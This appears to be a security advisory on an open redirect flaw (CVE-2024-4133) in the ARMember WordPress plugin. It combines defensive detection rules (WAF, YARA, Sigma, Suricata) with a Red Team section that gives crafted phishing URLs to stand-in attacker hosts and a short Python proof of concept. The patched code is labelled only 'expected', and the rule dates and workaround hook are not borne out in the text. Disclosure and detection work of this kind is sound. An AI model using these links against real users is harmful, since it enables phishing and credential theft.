CVE-2024-4133

Executive Summary

CVE-2024-4133 is an open redirect vulnerability affecting the ARMember – Membership Plugin, Content Restriction, Member Levels, User Profile & User signup plugin for WordPress in all versions up to and including 4.0.30. This flaw allows an unauthenticated attacker to craft a malicious link that, when clicked by a logged-in user, redirects them to an arbitrary external URL. The vulnerability stems from insufficient validation of the redirect_to parameter, which is commonly used in WordPress login and registration flows. While the CVSS score is 6.1 (Medium), the real-world risk is elevated due to the plugin’s popularity and the ease of exploitation for phishing campaigns. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The ARMember plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated attacker.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Redirect can lead to a different security domain.
• Confidentiality (C): Low (L) – Potential exposure of session tokens or credentials via phishing.
• Integrity (I): Low (L) – Attacker can manipulate the redirect destination.
• Availability (A): None (N) – No impact on service availability.

Threat Level: Medium (6.1) – However, in the context of social engineering and phishing, this is considered a high-priority issue for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability resides in the redirect_to parameter handling within the ARMember plugin’s authentication and registration endpoints. When a user is redirected after login or registration, the plugin fails to validate that the destination URL belongs to the same origin (same site). This allows an attacker to supply an arbitrary URL, such as https://evil.com/phish, which the plugin will redirect to without warning.

Technical Flow:

1. An attacker crafts a URL like: https://victim-site.com/login/?redirect_to=https://evil.com
2. The victim, logged into the WordPress site, clicks the link.
3. The ARMember plugin processes the login and, after successful authentication, redirects the user to https://evil.com.
4. The attacker can host a fake login page or a malicious payload on the destination.

This is a classic open redirect (CWE-601) and is often used in phishing campaigns to bypass email filters and user suspicion.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In armember-membership/includes/class-armember-login.php
$redirect_url = $_GET['redirect_to'];
if (!empty($redirect_url)) {
    wp_redirect($redirect_url);
    exit;
}

Patched Code (expected):

// After validation
$redirect_url = $_GET['redirect_to'];
if (!empty($redirect_url) && wp_validate_redirect($redirect_url, home_url())) {
    wp_redirect($redirect_url);
    exit;
}
// Fallback to default
wp_redirect(home_url());
exit;

The patched version uses wp_validate_redirect() to ensure the destination is within the same site or a whitelisted domain.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with ARMember plugin version <= 4.0.30.
• A publicly accessible server to host a phishing page.

Exploit Steps:

1. Identify the target WordPress site.
2. Craft a malicious URL:

   https://target-site.com/login/?redirect_to=https://attacker-controlled.com/fake-login
   

3. Send the link to a logged-in user via email or social engineering.
4. After the user clicks and logs in, they are redirected to the attacker’s site, where a fake login page can capture credentials.

Proof-of-Concept (PoC) Script:

import requests

target = "https://target-site.com"
redirect_url = "https://evil.com/phish"

# Craft the malicious URL
malicious_url = f"{target}/login/?redirect_to={redirect_url}"
print(f"Send this link to the victim: {malicious_url}")

# Simulate a request (user interaction required)
session = requests.Session()
response = session.get(malicious_url, allow_redirects=False)
print(f"Redirect status: {response.status_code}")
print(f"Location header: {response.headers.get('Location')}")

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for redirect_to parameters pointing to external domains.
2. Use the Sigma rule below to detect suspicious redirects.
3. Implement a Web Application Firewall (WAF) rule to block external redirects.

WAF Rule (ModSecurity):

SecRule ARGS:redirect_to "!^https?://(www\.)?yourdomain\.com" \
    "id:1001,phase:2,deny,status:403,msg:'Open redirect attempt blocked'"

Indicators of Compromise (IOCs)

• URL Pattern: */login/?redirect_to=* where the value is an external domain.
• Log Entry: GET /login/?redirect_to=https://evil.com with a 302 response.
• Referer Header: Requests to external sites with Referer: https://target-site.com/login/.
• File Hash: No specific file hash; the vulnerability is in the plugin code itself.

Detection Engineering

YARA Rule

rule CVE_2024_4133_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in ARMember plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4133"
    strings:
        $redirect_param = "redirect_to="
        $external_domain = /redirect_to=https?:\/\/[^\/]+\.[^\/]+/
    condition:
        $redirect_param and $external_domain
}

Sigma Rule

title: CVE-2024-4133 Open Redirect in ARMember Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with redirect_to parameter pointing to external domains
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "redirect_to="
        cs-uri-query|re: "redirect_to=https?:\/\/[^\/]+\.[^\/]+"
    condition: selection
falsepositives:
    - Legitimate external redirects (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4133 ARMember Open Redirect"; flow:to_server; content:"redirect_to="; http_uri; pcre:"/redirect_to=https?:\/\/[^\/]+\.[^\/]+/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ARMember plugin until a patch is available.
2. Implement a WAF rule to block external redirects (see Blue Team section).
3. Monitor logs for suspicious redirect_to usage.

Long-Term Fix:

• Apply the official patch from the plugin vendor when released.
• Upgrade to a patched version (currently unknown).
• Consider using a different membership plugin if the vendor does not respond.

Workaround:

• Add a custom filter to validate redirect URLs:

add_filter('armember_redirect_url', function($url) {
    if (strpos($url, home_url()) !== 0) {
        return home_url();
    }
    return $url;
});

Valters IT
Securing Digital Frontiers